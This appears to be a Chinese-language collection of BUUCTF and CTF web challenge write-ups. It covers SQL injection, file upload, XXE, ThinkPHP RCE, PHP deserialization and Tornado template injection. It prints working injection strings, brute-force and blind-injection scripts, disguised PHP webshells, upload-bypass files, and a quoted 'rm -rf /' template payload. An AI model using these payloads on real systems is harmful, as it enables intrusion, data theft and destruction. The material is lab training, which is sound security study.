Basic
BUU LFI COURSE 1
这一关很简单,可以看到这段PHP代码用get传入一个file参数,我们直接访问flag
BUU BRUTE 1
这里有一段Python代码
import time
import requests
# 目标URL
url="http://0a6ea7ab-7e4b-4214-aaf3-8478587a4b55.node5.buuoj.cn:81/?username=admin&password="
# 遍历密码范围:0000到9999
for i in range(0000, 9999):
# 构造请求URL
full_url = url + str(i)
# 发送GET请求
res = requests.get(full_url)
print(f"Trying password: {i} - Status Code: {res.status_code}")
# 打印服务器返回的完整响应内容
print(f"Response Text: {res.text}")
# 检查是否遇到 429 Too Many Requests 错误
if res.status_code == 429:
retry_after = res.headers.get('Retry-After', 0.5) # 如果有 Retry-After,使用它;否则默认等待0.5秒
print(f"429 Too Many Requests: Retrying after {retry_after} seconds")
time.sleep(float(retry_after))
continue # 继续当前的密码尝试
# 检查是否为正确的响应(假设正确响应是非默认错误消息)
if res.text != "密码错误,为四位数字。" and res.text.strip(): # 增加检查非空响应
print(f"Success! The correct response: {res.text}")
break
需要改一下url,运行
BUU SQL COURSE 1
找了一圈发现这里可能有注入点
先用order by 确定数据的条数
?id=1 order by 3 #
到了3之后就没有回显了,那就说明数据为两列。
爆库
?id=-1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata
爆表
?id=-1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema='news'
爆字段
?id=-1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name='admin'
爆数据
?id=-1 UNION SELECT 1,concat(username,0x3a,password) from admin
然后用admin 和这个密码进行登录。
Upload-Labs-Linux
打开是一个upload靶场
这个靶场第一关很简单,直接f12 然后f1,禁用js就行了。禁用后上传一句话木马
用蚁剑链接
添加,能在里面找到flag
flag{1676f6b6-4bff-47d8-81c3-60062c7c1d2c}
BUU CODE REVIEW 1
这个代码的大概意思就是 get传参的值为1,post传参的值为2,并且看起来md5的值既相等又不想等。但是这里只有两个等号,为弱比较,有这些满足要求
字符串 | md5 |
---|---|
QNKCDZO | 0e830400451993494058024219903391 |
s155964671a | 0e342768416822451524974117254469 |
s878926199a | 0e545993274517709034328855841020 |
payload
<?php
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);
?>
传参,得到flag
BUU UPLOAD COURSE 1
看样子是文件上传漏洞,直接上传一句话木马试一试,
再用蚁剑链接。
链接成功后添加可以找到flag
flag{fd5e1901-d6a5-4f89-a18d-05980e7ae47f}
sqli-labs
进入第一关,发现传入?id=1,有回显,并且?id=1' 报错
判断列数
发现3不报错,4报错,说明有三列
判断输出位置
?id=-1' union select 1,2,3 --+
爆库
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata; --+
爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'; --+
爆列
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining'; --+
爆数据
?id=-1' union select 1,2,flag from ctftraining.flag --+
得到flag
BUU BURP COURSE 1
题中说了只能访问本地,用bp抓包
既然是访问本地,应该加上X-Real-IP,并且地址为127.0.0.1
注意这一行前面不能有空行
出现了登录页面,把这个页面放行,然后登录的时候进行抓包,抓包后会出现用户名和密码
这时候继续添加X-Real-IP:127.0.0.1 ,就好了,放行后,会出现flag
BUU XXE COURSE 1
输入一点东西试一下
发现输入什么都会弹出来,f12查看一下是什么方式传输
发现传输方式是XML,有可能存在XML漏洞,用bp抓包
存在XXE漏洞,那就读取flag文件
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY admin SYSTEM "file:///flag">
]>
<root> <username>&admin;</username> <password>123456</password> </root>
注意这里的admin 需要加上&和;原因:
XML 规范要求:
XML 规定,所有实体引用必须遵循&实体名;
的格式。这是为了与普通文本区分开。<!-- 普通文本 --> <username>admin</username> <!-- 直接显示 "admin" --> <!-- 实体引用 --> <username>&admin;</username> <!-- 将替换为外部实体内容 -->
找到flag
LFI Labs
这是一个文件包含漏洞
直接查看flag
AWD-Test1
先上传一张图片试一下,
发现有一个thinkphp ,那就试一下,执行ls
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
参数说明:
s=index/\think\app/invokefunction
:
通过路由参数s
调用\think\App
类的invokefunction
方法,这是ThinkPHP框架内部用于动态调用函数的方法。
function=call_user_func_array
:
指定调用PHP函数call_user_func_array
,该函数允许通过数组传递参数动态执行函数。
vars[0]=system
:
将system
作为第一个参数传递给call_user_func_array
,即执行系统命令。
vars[1][]=ls
:
将ls
作为第二个参数(数组形式),作为system
函数的参数,即执行ls
命令。
说明有rce漏洞
抓取flag
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
vars[0]=system
将system
函数作为call_user_func_array
的第一个参数,即执行系统命令。
vars[1][]=find / -name "flag"
传递system
函数的参数find / -name "flag"
,表示在服务器全局目录中搜索名为flag
的文件。
用cat命令读取flag
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
BUU SQL COURSE 2
跟sql1很像,同样是sql注入
首先判断注入点在哪里,在这
首先试一下万能密码
?id=1 and 1=1 --+
有回显,
?id=1 and 1=0 --+
没回显 。
判断列数
?id=1 order by 1,2--+
列数为2时,有回显,到3后就没有回显了
爆数据库
?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata --+
爆表
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'; --+
爆列
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctftraining'; --+
爆数据
?id=-1 union select 1,flag from ctftraining.flag --+
PikaChu
找到文件上传,第一关,第一关是前端验证,只需要禁用js即可
上传成功后,用蚁剑连接
找到flag
web
[SUCTF 2019]EasySQL
是一个sql注入。尝试1' 没回显,1' # 同样没有回显。那就尝试一下堆叠注入
爆库
1; show databases;
爆表
1;show tables;
爆列的时候发现行不通了 1;show columns from 1; 说明应该是被过滤了。
参考BUUCTF [SUCTF 2019]EasySQL1 writeup(详细版)-优快云博客
1;set sql_mode=PIPES_AS_CONCAT;select 1
[极客大挑战 2019]LoveSQL
输入admin' 报错
但是输入admin' or 1=1 # 不报错
爆字段
admin' order by 1,2,3 #
输入3的时候不报错,输入4 就报错了,说明只有三列
看回显点
1' union select 1,2,3 #
回显位在2,3
爆数据库
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #
爆表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #
爆列
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' #
爆数据
-1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
[极客大挑战 2019]BabySQL
是单引号闭合方式
在用 order by 猜测有几个字段的时候,发现他过滤了or,只剩下der
双写绕过,判断回显点
-1' ununionion seselectlect 1,2,3 #
爆库
发现也被绕过了
-1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #
爆表
-1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek' #
爆列
-1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='geek' #
爆数据
-1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql #
[强网杯 2019]随便注
使用堆叠注入
表
0';show tables; -- a
获取字段
0';show columns from `1919810931114514`; -- a
获取数据
0';handler `1919810931114514` open;handler `1919810931114514` read first; -- a
[极客大挑战 2019]PHP
提示是有备份文件,但是我用御剑扫了一下什么也没扫出来
用dirsearch 扫了一下,发现了一个www.zip
访问
先访问index.php 这里有一段php代码
包含了class.php 继续访问
代码的大致意思就是要使username='admin',password=100
构造payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[ACTF2020 新生赛]BackupFile
看样子应该是有备份文件,先用dirsearch 扫一下
看到别人的wp上扫出来的都是这个index.php 不知道为什么我这里没有显现颜色,其他扫出来的基本都没什么用,先访问下载
这里是一个弱比较类型,需要用get 方式传入一个key ,并且key的值要和str相等,由于是弱比较,我们传入 ?key=123 就可以了
比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
[RoarCTF 2019]Easy Calc
查看源码 ,发现有一个calc.php ,访问
可以看到过滤了很多字符,我们先试一下?num=system('ls /')
如果这句话是被过滤掉了的话,应该显示 what are you doing ,所以这里应该是被防火墙拦截了
应该在num前面加一个空格,这样不会被拦截,而且在php解析时,会自动过滤掉空格
这样才对 那我们先查看目录
? num=var_dump(scandir(chr(47)))
var_dump是输出函数
scandir是用于获取指定目录中的文件和文件夹列表
47是 / 的ASCII码值
chr 是把数字转换为字符串的函数
看到了一个f1agg,查看
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
file_get_contents 是把整个文件读入一个字符串中的函数
47,102,49,97,103 分别是 / f 1 a g 的ASCII码值
[HCTF 2018]admin
这个题应该是想办法用admin账户登录就能拿到flag
登录时用bp抓包
对密码进行爆破
攻击完成后用admin 123 登录就好了
[护网杯 2018]easy_tornado
打开是三个txt文件
这个题有关tornado模板注入,先了解一下这个
漏洞原理
动态内容渲染:若用户输入直接作为变量传入模板(如
{{ name }}
),且未过滤危险字符,攻击者可注入模板表达式。
示例:用户提交
name={{7*7}}
,页面输出49
,表明表达式被执行。代码执行:通过注入恶意表达式访问Python内置模块(如
os
),可能导致命令执行。
Payload示例:
{{ __import__("os").system("rm -rf /") }}
。
Tornado模板特性
语法:使用双大括号
{{}}
插入变量,{% %}
控制流程。自动转义:默认对HTML内容转义防XSS,但不防御模板语法执行。
沙盒限制:Tornado模板引擎在受限环境中运行,但某些版本或配置可能存在绕过风险。
漏洞利用步骤
探测漏洞:输入
{{7*7}}
,观察是否返回49
。信息泄露:尝试访问上下文对象(如
{{handler.settings}}
)获取敏感配置。代码执行:利用Python内置函数或模块构造Payload执行系统命令。
我们输入{{handler.settings}} 发现了cookie
91b5e235-0c9d-4f49-85d5-72387a67655d
我们在hints.txt中发现了一个公式
也许按照这个公式进行md5加密就能得到flag。将cookie_secret和进行md5加密后的文件名进行拼接后 再进行md5加密
之前再flag.txt文件中,我们看到了flag存在的文件
3bf9f6cf685a6dd8defadabfb41a03a1
633a735d05329f6680c554776de1572e
payload
?filename=/fllllllllllllag&filehash=633a735d05329f6680c554776de1572e
[ZJCTF 2019]NiZhuanSiWei
isset($text) && file_get_contents($text) === "welcome to the zjctf"
检查text
参数是否存在,并验证其指向的文件内容是否为指定字符串。
若满足,输出文件内容,并检查file
参数是否包含flag
(若包含则拒绝执行)。
若不满足,进入else
分支,包含file
指向的文件(如useless.php
),并对password
反序列化后输出。
提示有//useless.php 文件,尝试访问
但是file_get_contents函数是得读取到"文件"里的内容,而$text是一个变量,file_get_contents不能读取一个变量,所以尝试用data伪协议尝试读取内容
?text=data://text/plain,welcome to the zjctf
继续读取useless.php ,使用php伪协议
?text=data://text/plain,welcome to the zjctf&file=php://filter/read/convert.base64-encode/resource=useless.php
把这段代码进行base64解密
构造payload
<?php
class Flag
{ //flag.php
public $file = 'flag.php';
}
$a = new Flag();
echo urlencode(serialize($a));
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}
这里是直接访问useless.php文件了,如果继续用php伪协议访问的话只会出现useless.php的文件内容
查看源码得到flag
[MRCTF2020]Ez_bypass
他叫我们f12看一下,我们直接查看源码,发现里面是一段PHP代码,和外面的是一样的
进行代码审计,这段代码的大概意思就是,用getd方式传入id和gg,并比较他们md5加密后的值,这里三个等号说明是强比较;用post方式传入passwd,并且不能是数字,但是后面一个if循环确是要是数字才能进去才能拿到flag,不过这里不同的是,两个等号是弱比较.
在前面的解题中有提到md5值相等的有,先试一下
字符串 | md5 |
---|---|
QNKCDZO | 0e830400451993494058024219903391 |
s155964671a | 0e342768416822451524974117254469 |
s878926199a | 0e545993274517709034328855841020 |
payload
/?gg[]=QNKCDZO&id[]=s155964671a
可以看到已经绕过了第一层
接着第二层,由于在传入passwd时是弱比较,可以传入
passwd=1234567a
这里的a可以是任何字母,PHP在解析时,因为数字在前面,并且是弱比较,就会把他整体转换成数字进行比较
flag{8836d2c7-1a99-404f-b233-bee58a87d20d}
[极客大挑战 2019]HardSQL
又又又是sql注入
试一下万能密码
1' or 1=1 #
这里参考这一篇,非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)-优快云博客
大佬说不仅过滤了很多字符,并且还过滤掉了空格
重新构造的万能密码为
1'or((1)like(1))#
like没有被过滤,可以使用like可以绕过=号
在这之前可以先测试闭合符,可以看待闭合符为单引号
爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
查询数据库
username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'
解释一下updatexml函数UPDATEXML(XML_document, XPath_string, new_value)
若 XPath_string 格式非法,MySQL会抛出错误,并在错误信息中返回非法内容。构造XPath 非法途径:
0x7e:十六进制的 ~ 符号(通常用于分隔敏感数据)。
(select database()):获取当前数据库名称。
最终生成的XPath路径形如 ~database_name~,因包含 ~ 导致XPath语法错误.
所以最终会报错如下:
XPATH syntax error: '~database_name~'
————————————————版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.youkuaiyun.com/2301_80871705/article/details/144612136
这里在这篇文章提到过
可以看到数据库名为geek
爆表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
H4rDsq1
爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#
爆数据
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
但是这里只有一段flag
flag{5fd54fa9-10ae-4673-bf
使用right字符得到后半段
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
e-4673-bfb6-ec2d1b838282}
flag{5fd54fa9-10ae-4673-bfb6-ec2d1b838282}
[网鼎杯 2020 青龙组]AreUSerialz
代码审计
漏洞分析
反序列化入口:通过
$_GET['str']
接收输入,并调用unserialize()
,未进行足够的安全检查。FileHandler类:
__destruct()
析构函数在对象销毁时会调用process()
。
process()
方法根据op
的值执行读/写操作。关键逻辑:若
op
为2
,read()
方法会读取filename
指定的文件内容并输出。绕过检查:
is_valid()
函数过滤不可打印字符,但可通过十六进制转义绕过对空字节的检测。利用步骤
构造恶意对象:
设置
op
为整数2
(绕过__destruct()
中的=== "2"
检查)。设置
filename
为flag.php
。
设置op变量的值为数字2,这样一来,在__destruct()方法中,数字2不等于字符串2,因此__destruct()函数不会修改op变量的值,而在process()函数中,数字2和字符串2的值是相等的,因此会使得程序执行后续的read()函数。
在read()函数里$res = file_get_contents($this->filename),这里可以借助php伪协议来读取flag.php的内容。
payload
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/convert.base64-encode/resource=flag.php";
public $content;
}
$a=new FileHandler;
$str1=serialize($a);
echo $str1;
?>
/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
进行base64解码
flag{2512196d-bd24-4a4f-90f5-3a35a38ad871}
[GXYCTF2019]BabyUpload
是一个关于文件上传的
但是我试了很多,php、图片马、更改文件类型...都没有成功
我们构造.htaccess文件
SetHandler application/x-httpd-php
用bp抓包
更改文件类型为image/jpeg 上传成功
上传.htaccess文件是为了解析.jpg文件中的php代码
当我们上传jpg格式的一句话木马时,发现还是不成功,
把.jpg文件中的php代码修改为 javascript 的形式
<script language='php'>
$a = "a"."s";
$b = "s"."e"."r"."t";
$c = $a.$b;
$c($_POST["cmd"]);
</script>
再上传muma.jpg
上传成功后,用蚁剑连接
连接成功,找到flag
flag{6b6b367e-6d6f-4e61-b2f9-d533416e1609}
[SUCTF 2019]CheckIn
依然是文件上传
测试了一下,不仅对问价后缀名、文件内容、文件类型都有检测
在上传图片马的时候,发现不能含有<?,并且在上传文件时还显示
使用exif_imagetype函数来判断是否是jpg文件,使用添加gif文件头GIF89a就能进行绕过
修改一句话木马
GIF89a
<script language='php'>eval($_POST['cmd']);<scirpt>
上传成功。那接下来就需要一个文件帮我们把jpg格式的文件解析成php,上一个题目说过用.htaccess文件,但是在这一关行不通了,我们使用另一个——.user.ini 文件
GIF89a
auto_prepend_file=GIF89amuma.jpg
注意文件名是一样的,上传
不知道为什么这里我的蚁剑一直连接不上。。。
换一种方式试一下
先上传.user.ini 文件,文件内容
GIF89a
auto_prepend_file=GIF89amuma.jpg
注意最后的文件名要和你之后上传的一样
再上传GIF89amuma.jpg
GIF89a
<script language='php'>system('cat /flag');</script>
再访问 /uploads/84fcf6f4860995b3c940cd0954e794e3/index.php
访问时进行抓包,这时候就能找到flag
flag{d920882b-f768-470a-94e5-c4c49083782a}
[GXYCTF2019]BabySQli
测试单引号
发现闭合符确实问单引号
但是在测试万能密码的时候发现被过滤了,并且打开f12时发现了一串字符
把这段字符进行两次base64 解码后是这样的
select * from user where username = '$name'
这段字符就是在检测你输入的用户名是否存在
猜测用户名是admin时,admin' #
回显如下
错误的是密码,这说明用户名猜测正确
猜测字段数
admin' union select 1,2,3#
字段数为2或4时都报错,说明字段数就为3
然后就要测试回显点在第几位
1' union select 1, 'admin',3#
发现只有admin在第二位的时候回显wrong pass
但是在最后写payload的时候卡住了,这里我们虽然猜对了用户名但是还有密码
这里大佬说
mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;
所以我们输入的密码是123的话,将123进行md5加密
⚠️:如果你输入的密码为123,那么就对123进行md5加密,如果是1234,那么就要对1234进行md5加密,这里加密的内容要和你输入的密码是一致的
202cb962ac59075b964b07152d234b70
所以payload是
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
BUUCTF--[GXYCTF2019]BabySQli详解-优快云博客
[GYCTF2020]Blacklist
提交1' 报错,有点像sql注入
在查看回显点,输入 1' union select 1,2,3# 时,发现被过滤了,应该是黑名单
查询数据库
0';show databases;#
查询表
0';show tables;#
查表
0';show columns from `FlagHere`;#
这时直接查看flag
0';select flag from `FlagHere`;#
被过滤了,绕过
0';sel/**/ect flag from `FlagHere`;#
这时发现什么都没有
重新构造的payload为
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
flag{d2140aa6-6fda-48dd-a76e-945b7ab90a30}
HANDLER FlagHere OPEN;
:打开名为FlagHere
的表的句柄(类似游标)。
HANDLER FlagHere READ FIRST;
:读取表中的第一行数据。
HANDLER FlagHere CLOSE;
:关闭句柄释放资源。攻击意图:
直接访问表数据,绕过常规的
SELECT
查询,可能用于规避黑名单过滤(如禁用SELECT
但未过滤HANDLER
)。假设
FlagHere
表存在且包含敏感信息(如CTF题目中的flag),攻击者试图读取其首行数据。
详情请参考[GYCTF2020]Blacklist-优快云博客
[CISCN2019 华北赛区 Day2 Web1]Hack World
首先了解一下什么是uuid
UUID(Universally Unique Identifier,通用唯一识别码)是一种用于在分布式系统中生成唯一标识符的标准。它的核心目标是确保生成的标识符在全球范围内唯一(几乎不可能重复),无需依赖中心化的协调机制。
测试了一下,是关于sql注入的
在提交1,2时妈,返回一段英文
提交大于2的数字时,返回Error Occured When Fetch Result.
提交其他字符时,返回bool(false)
所以猜测类型为布尔盲注
布尔盲注的脚本
# 布尔盲注脚本
import requests
import time
s = requests.session()
flag = ''
count = 0 # 若count==1,则flag已找到
for i in range(1, 60): # 假设flag最长60位
if count == 1:
break
for j in range(32,128): # 32-128 对应ASCII码表十进制数对应的字符,刚好把flag中常见的特殊字符也包括在内,例如“-”
url = "http://1397b166-274e-4201-b163-ec946cccd8a7.node5.buuoj.cn:81/index.php"
# %是字符格式化的用法, %后的字符会被放入 %前的字符串中占位符所在的位置
sqls = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
data = {"id": sqls}
time.sleep(0.07)
c = s.post(url, data=data,timeout=None) # 不设置超时timeout = none
c.encoding = c.apparent_encoding
if 'Hello, glzjin wants a girlfriend.' in c.text:
tmp = chr(j)
flag += str(tmp)
print(flag)
break
# if "}" in flag:
# print(flag)
# count = 1
# break
requests.session():
用于保持 HTTP 会话,适用于需要多次请求的场景(如维持登录状态)。
sqls
构造逻辑:
substr((select(flag)from(flag)), %d, 1)
:从flag
表的flag
字段中截取第i
个字符。
ascii(...)
:将字符转换为 ASCII 码。
if(条件, 1, 2)
:若条件成立(当前字符的 ASCII 码等于j
),返回1
,否则返回2
。
time.sleep(0.07)
:降低请求频率,避免触发 WAF(Web应用防火墙)或速率限制。
# 根据响应内容判断字符是否正确 if 'Hello, glzjin wants a girlfriend.' in c.text: tmp = chr(j) # 将ASCII码转为字符 flag += str(tmp) # 拼接字符到flag print(flag) # 实时输出爆破进度 break # 跳出内层循环,继续爆破下一个字符
脚本来自:练习7 Web [CISCN2019 华北赛区 Day2 Web1]Hack World_ciscn2019 hack world-优快云博客
运行之后的结果
flag{785b7ba0-e131-487f-abc0-b1eae9c2021b}